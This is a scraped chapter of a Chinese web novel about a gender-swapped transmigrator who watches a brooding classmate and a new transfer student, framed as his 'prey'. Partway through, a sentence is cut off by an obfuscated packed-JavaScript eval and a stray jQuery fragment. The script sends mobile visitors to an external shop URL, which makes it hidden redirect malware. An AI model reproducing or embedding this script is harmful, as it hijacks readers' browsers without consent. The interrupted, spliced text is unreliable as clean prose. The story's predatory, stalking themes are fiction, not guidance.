胸口沉甸甸的坠感,和身体深处某种陌生的空荡感交织在一起,让他的烦躁达到了顶点。

    不惹眼么?

    谢凛有些不太确信。

    毕竟,这山峰曲线,恰好是他的喜好。

    软软似乎都没……

    “名字?”她思维跳跃到了一个微小细节上。

    如果不能叫原名,她应该叫什么?

    “啊,这个……你自己取一个?只要不叫谢*就行,其他都……”黑猫的声音越来越小。

    “……谢林。双木林。”她没什么起伏地说,这是她能想到的、最接近原来读音又不那么“女性化”的选择。

    “呃……那个……”黑猫的声音带着小心翼翼的试探,“‘林’字作为名字,虽然是中性,但在这个世界华夏区的常见认知里,还是偏向男性化多一点……

    你现在的外表,用这个可能会有点……引人注意?不如……‘琳’?王字旁那个琳,更符合大众对女性名字的预期,读音几乎一样,也、也挺好听的……”

    谢凛的眼神更冷了。

    如果这东西不是所谓的“神”,他真的很想将其弄死。

    黑猫吓得更不敢显形了,反正过不了几天,它就不会再出来了。

    现在只要这人有意让这个世界的剧情维持一个稳定的走向,那它也就不会死。

    所以,装孙子就装孙子吧。

    “……就谢琳。”她最终妥协,声音里压抑着怒火。

    她扯了扯身上那件有些发紧的白衬衣,试图让它看起来更宽松一些,不那么贴身地勾勒出胸前的曲线,但收效甚微。

    黑色牛仔裤也是又旧又紧,包裹着与这具身体清瘦骨架不符的、过于饱满的臀腿线条。

    廉价,不合身,却又诡异地凸显着某种属于女性的、生机勃勃的肉感。

    这感觉让她有些奇异。

    “那个……上课铃好像响了……”黑猫弱弱提醒。

    几乎在它话音落下的同时,尖锐的上课预备铃刺破了厕所内短暂的寂静。

    外面走廊的喧闹迅速平息,脚步声变得匆忙。

    谢琳最后看了一眼镜中那个陌生又带着几分熟悉感的少女,深吸一口气,强行压下所有翻腾的情绪。

    她不是来体验新生活的,她是来纠正错误的。

    性别、身体、名字……都是工具,是手段。

    她的目标只有一个。

    苏软软。

    确保苏软软属于“谢凛”,从而确保她自己的生存。

    她推开门,走了出去。

    走廊已经空了,只有零星几个狂奔向教室的身影。

    (1)班在楼上。

    她凭着记忆慢条斯理走向楼梯,但脚步有些虚浮,重心也需要重新适应。

    好在,也没那么难。

    走进(1)班后门时,正式上课铃刚好打响。

    班主任老王已经站在讲台上,教室里基本坐满。

    谢琳的存在没有引起任何波澜。

    她低着头,快步走向自己世界意识自动填充给她的座位。

    倒数第二排,靠窗,旁边是空位,前面是一个总是埋头苦读的眼镜男,斜前方隔着一排,就是谢凛。

    她刚坐下,老王就敲了敲讲台:“同学们,安静。耽误两分钟,介绍一位新同学。”

    来了。

    谢琳的心跳平稳,但目光瞬间抬起,精准地锁定门口。

    苏软软走了进来,穿着崭新的白衬衫,百褶裙,马尾扎得一丝不苟,白净的脸上带着恰到好处的、有点紧张的微笑。

    阳光从她身后的窗户照进来,给她周身镀了层毛茸茸的金边。

    她声音清亮地做完自我介绍,目光清澈地扫过全班,带着点好奇,更多的是努力想融入的友善。

    教室里响起例行公事的、不算太热烈的掌声。

    大部分同学只是抬头看了几眼,就又低下头去看书或做题,时间宝贵。

    只有少数几个活跃的、或者被苏软软样貌气质吸引的,多看了她几眼。

    谢琳的视线,却越过苏软软,落在了斜前方的谢凛身上。

    和记忆中一样,他今天来晚了点,刚坐下不久,正从那个黑色皮质文件夹里拿出课本。

    在苏软软走进来、站到讲台旁、开始说话的那短短十几秒里,谢琳看到,谢凛拿书的动作几不可察地顿了一下。

    他的头没有完全转过去,似乎只是用眼角余光,漫不经心地扫了一眼讲台方向。

    他的脸上没有任何表情,连眉头都没动一下,看起来和平时那种对周遭一切漠不关心的状态毫无二致。

    但谢琳看到了。

    她看到了他指尖在光滑的文件夹封面上,短暂停留了半秒。

    看到了他那双总是缺乏焦点、或者只专注于手中事物的眼睛,在苏软软说完“希望能和大家成为好朋友”并露出那个带着点羞怯但无比明亮的笑容时,极其轻微地、颤动了一下。

    那不是惊艳,不是喜爱,甚至不是好奇。

    那是一种更原始的、属于猎食者的警觉与评估。

    有某种过于明亮、干净、与周围灰暗环境格格不入的东西,突然闯入了他的领地。

    这东西本身不构成威胁,但它散发出的“光”和“热”,却隐隐刺激到了他习惯了冰冷和黑暗的感官。

    仅仅两秒钟,或许更短。

    谢凛收回了那几乎不存在的“注视”,低头,翻开了课本。

    老王给苏软软指了座位,就在教室中间偏前,离谢凛所在的那条靠窗的“贵族区”有些距离,但也在他抬眼就能看到的视野范围内。

    苏软软走向座位,经过谢凛那一排时,似乎无意中朝他的方向瞥了一眼。

    谢凛正低头看书,侧脸线条冷硬。

    苏软软很快收回了目光,脸上没什么异样,在新座位坐下,拿出书本,背挺得笔直。

    第一节课开始。

    数学老师走上讲台,开始讲解复杂的函数题。

    谢琳也低下了头,看着自己空白的笔记本。

    胸口陌生的重量,和身体深处隐隐的不适感依然

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17510043|202957||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    存在,但她的思维已经彻底冰冷清晰。

    她懂了。

    为什么“世界意识”或者那个垃圾神,不让她变成男人。

    如果是一个名叫“谢林”、容貌气质阴郁、对转学生苏软软表现出过多关注……哪怕只是暗中观察的男生,

    根本不需要等到她自己采取行动,恐怕在“谢凛”察觉到这个“同类”存在的第一时间,

    就会被他视为需要清除的威胁、碍眼的垃圾,用某种不露痕迹但绝对有效的方式处理掉。

    “自己”不会允许任何潜在的雄性竞争者,靠近他看中的猎物。

    哪怕那个竞争者看起来再不起眼,再构不成实质威胁。

    他的阴暗和掌控欲,是排他的,绝对的。

    而一个名叫“谢琳”、阴沉孤僻、除了身材之外,容貌因厚重刘海遮挡显得毫无特色的最边缘的底层女生,在“谢凛”眼里,是连“人”都算不上的,更谈不上威胁。

    她可以更安全地存在于他的视野盲区,观察,等待,甚至……在必要的时候,以某种不引起他反感的方式,靠近。

    呵呵……

    谢琳捂脸,嘴角控制不住疯狂上扬,但被她死死压住。

    还不能笑。

    讲台上,老师讲解的声音成了背景音。谢琳的笔尖,在空白的纸页上,无意识地划拉着。

    一周。

    按照“原著”记忆,一周之后,这个世界的谢凛,就会开始他第一次“试探”。

    用一张不记名的电话卡,给苏软软发送第一条内容模糊、但足以让敏感少女感到不安的骚扰短信。

    她需要在这之前,找到一个切入点。

    一个能让“谢凛”注意到“谢琳”这个背景板,并且不立刻产生反感和戒备的切入点。

    值日?收作业?问题?……太刻意,太容易引起“谢凛”这类人的警惕。

    他厌恶任何形式的、目的明确的接近。

    或许……可以从苏软软那里入手?

    一个同样孤僻、但似乎对苏软软没有恶意的女同学?

    用“和苏软软成为朋友”作为幌子,先自然地出现在苏软软周围,然后再……

    谢琳的笔尖停顿了一下。

    镜子里少女其实并不难看的容貌浮现在脑海。

    用这张脸,去接近苏软软?

    用这具让他自己都感到陌生的女性身体,去靠近那个他灵魂深处认定属于自己的、干净温暖的女孩?

    一种极其复杂、难以言喻的情绪,悄然滋生。

    她能更先一步的……接近苏软软?

    她抬起头,目光再次穿过教室里的重重人影,落在那束随着苏软软低头记笔记而轻轻晃动的马尾辫上。

    阳光透过窗户,照亮她耳畔细小的绒毛,和一小段白皙脆弱的脖颈。

    谢琳的喉结几不可察地滚动了一下。

    猎物。

    她的猎物。

    而现在,她需要先确保,另一个“自己”,不会用错误的方式,吓跑或者毁掉这只可爱的小猎物。